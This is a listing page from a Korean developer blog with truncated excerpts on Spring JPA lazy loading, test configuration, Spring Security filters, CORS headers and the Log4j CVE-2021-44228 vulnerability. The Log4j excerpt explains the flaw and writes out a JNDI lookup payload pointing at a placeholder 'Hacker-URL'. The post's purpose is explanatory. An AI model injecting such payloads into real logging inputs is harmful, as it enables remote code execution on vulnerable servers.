Back End
-
[Spring JPA] JPA에서 Lazy loading 은 도대체 어떻게 이루어지는 걸까?Back End/Spring Data JPA 2021. 12. 24. 20:51
이 글은 독자가 Lazy Loading이 무엇인지 대해 알고 있다고 가정하고 쓰여졌습니다. 가끔 분명 트랜잭션이 닫혔는데, lazy loading이 되는 당황스러운 일이 발생한다. 여태 이유를 몰랐는데 알게되어 포스팅하고자 한다. [알아두어야 할 사실] 1. getter 로 연관관계를 맺은 엔티티를 호출할때 쿼리문을 실행하여 불러온다. 2. 엔티티가 detach 되면 해당 엔티티는 lazy loading 을 할 수 없다. (= 트랜잭션이 끝나면 lazy loading 을 할 수 없다.) (이 방식이 효율적이고 권장되는 방식이기에 일반적으로 알려진 사실이지만, 사실과 다르다) [들어가기 전에] # 개념정리 [준영속 상태] - 영속상태의 엔티티가 detach 된 상태 (로딩 되지 않은 연관관계는 proxy ..
-
[Spring JPA] Spring Test 에서 Auditing 이 안될때 (@DataJpaTest)Back End/Spring Data JPA 2021. 12. 24. 19:19
[원인] @DataJpaTest 는 JpaTest에 필요한 최소한의 빈을 불러오는데, 거기에는 @Configuration 빈이 포함되어있지 않다. 따라서 @Configuration을 사용하여 따로 JpaConfig 파일을 만들었을 경우, 적용되지 않아 해당 문제가 발생한다. [해결방법] 1. @Import 로 해결 @DataJpaTest 가 붙은 곳에, 추가적으로 @Import(작성한 Config클래스명.class ) 를 추가 해준다. 2. @SpringBootApplication 이 붙은 곳에 @JpaAuditing 을 달아준다. 추천하지 않는 방법이다. Jpa에 관련된 Config, 보안에 관련된 Config 등 Config 들을 따로 각각 분리시키는 이유는 단위테스트에서 필요한 Context만 불러..
-
[Spring JPA] 왜 테스트코드와 실제 어플리케이션코드가 실행이 다르게 될까?Back End/Spring Data JPA 2021. 12. 24. 17:39
실제 API 호출코드는 아무 문제 없이 잘돌아가는데 똑같이 실행될거라 여겨진 테스트코드가 오류를 내뱉거나 쿼리가 예상과는 다르게 작동하는 것을 경험하신분들이라면 잘 찾아 오셨다 🥳🥳🥳 원인은 JUnit 과 Spring Test 에 대한 이해도 부족일 것이다. 모든 테스트 케이스를 다룰 수 없으니 하나만 예시를 들어보겠다. 따라서 해당 현상을 경험하신분이라면 JUnit + Spring Test 에 대해 공부하시는게 좋다. ( 테스트 환경을 실제환경과 동일한 구성을 하기 위해서는 노력이 많이 필요하다. ) 테스트환경 구축방법을 제대로 알지 못한채 테스트 코드를 설계하는 것은 지옥으로 가는 지름길이라는 것을 알아두자. (JPA 도 그렇다) ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 일단 여기까지 오신분들은 영속성이..
-
[Spring] 심각한 Log4j 보안문제 (feat. Slf4j)Back End/Spring Boot 2021. 12. 24. 16:05
제로데이 어택으로 분류되는 log4j CVE-2021-44228 이 2021년 11월 24일에 알리바바 클라우드 보안팀 소속 Chen Zhaojun 의해 보고 되었다. (약 8년동안 방치되었다고 한다) 아파치의 Log4j 로 인해 Remote Code Injection (과거 SQL Injection 과 같이) 이 가능하다는 사실이 알려졌다. 애플, 테슬라, 아마존등에서 이미 이러한 취약점이 발견되었고, 보고 후 많은 테스트들이 시연되었다.. [얼마나 간단하기에?] Log4j 의 JNDI와 LDAP 때문에 생긴 틈인데, 로그가 기록되는 곳(로그인과 사용자입력)을 찾아 ${jndi:sndi:snd://Hacker-URL} 와 같은 값을 추가하면 Hacker-URL 에 호스팅 되어있는 코드가 공격받는 서버에..
-
[Spring JPA] JPA의 사실과 오해 (feat. NHN Cloud)Back End/Spring Data JPA 2021. 12. 23. 14:34
JPA 를 쓰면 쓸수록, 너무 불편한게 많다. 검색으로 원하는 고급정보를 찾기도 어렵다. (정보가 다들 카더라 통신을 통해 대량으로 재생산 되고 있어 깊이가 없을 뿐더러 정확한 검색을 막고 있다.) (깊이 있는 정보는 어딘가에 묻혀있겠지 😢) 그리하여 알짜정보를 찾기 위해 검색의 무한루프에 빠져있던 중 카더라 통신에서 잘 보지 못한 새로운 정보를 알게되어 정리해두고자 한다. (중복된 정보 또한 다시 복습할 겸 정리한다.) * 해당 정보는 NHN Cloud 유튜브채널에서 획득하였습니다. (모든 저작권은 NHN에 있습니다.) 해당 포스팅과는 관련이 없지만 NHN에 관한 포스팅이 너무 재밌어서 공유해봅니다. 헤헿.. 형님과 아우의 대결, NHN VS 네이버!!! | 캐치 뉴스로 확인하는 생생한 취업트렌드 ww..
-
[Spring Security] Filter 에 대한 오해와 진실 (doFilter의 정확한 작동방식에 대한 심층분석과 Filter의 흐름) (Spring 200 OK but No Content)Back End/Spring Security 2021. 12. 8. 22:00
# [만연한 오해] doFilter() 기준으로 위쪽이 API 호출 전처리 과정이고, 아래쪽이 API 호출 후처리 과정이다. (틀린 말은 아니나 상황에 따라 아닌 경우가 있으므로, 이에대해 확실히 알고 넘어갈 필요가 있다.) @Component //default 제일 마지막 필터로 public class TestFilter implements Filter{ @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // API 호출 전 로직? chain.doFilter(request, response); // API ..
-
[Spring Security] 응답코드가 200이지만 body 가 비어있을 때, API까지 Request가 도달하지 못할 때(response code 200 but no body)Back End/Spring Security 2021. 12. 8. 20:48
보통 이런 경우는 Filter단에서 Request 나 Response 의 버퍼를 읽어서 내용이 유실된 경우에 발생한다. 하지만 필자가 겪은 현상은 아마 그 누구도 겪지 못한 현상이 아닐까 한다. 전제조건이 필요하기 때문이다. (개발미숙 + Filter 사용 + 이왕 파고드는거 완벽하게 내 것으로 만들고 싶은 주제파악안되는 욕심) [응답코드가 200인데 body가 비어있고, Request가 API까지 도달도 못하고, 또 수정을 하니 어떤 URL에서는 API까지 도달을 하는데 또 다른 URL에서는 API까지 도달을 못하기도 했다...] 3일에 걸친 디버깅 끝에 원인을 찾은 나 자신이 뿌듯하기도 하고, 절대 잊어버리지 않기 위해 포스팅을 해본다... (찾은것이 신기할 정도...) 와 진짜,,, 왠만한 Secu..
-
[Spring] React 로 헤더 내려주기 (브라우저가 접근할 수 있는 헤더 제어하기)Back End/Spring Boot 2021. 12. 3. 20:39
React 에서 서버에서 내려주는 헤더에 접근하여 무언가 해보고싶었던 분들이 있을 것이다. (나만그런가?) 무튼 React 에서 헤더에 접근하고 싶지만, 헤더의 종류가 몇개 없어 시무룩했던 시간들을 해결한 경험을 공유하고자 한다. # 문제 현상 React 에서 Response 를 콘솔에 찍으면 보이는게 몇개 없다. # 개발자도구 -> NetWork 에서 뽑아온 Response Header # React 에서 console.log 를 통해 찍은 Response 객체 # 해결 방법 서버에서 헤더를 내려줄 때 Access-Control-Expose-Headers 에 브라우저가 접근해도 되는 헤더를 추가해주면 된다. # 예시 코드 package com.bookmarkmanager.bookmarkmanager.c..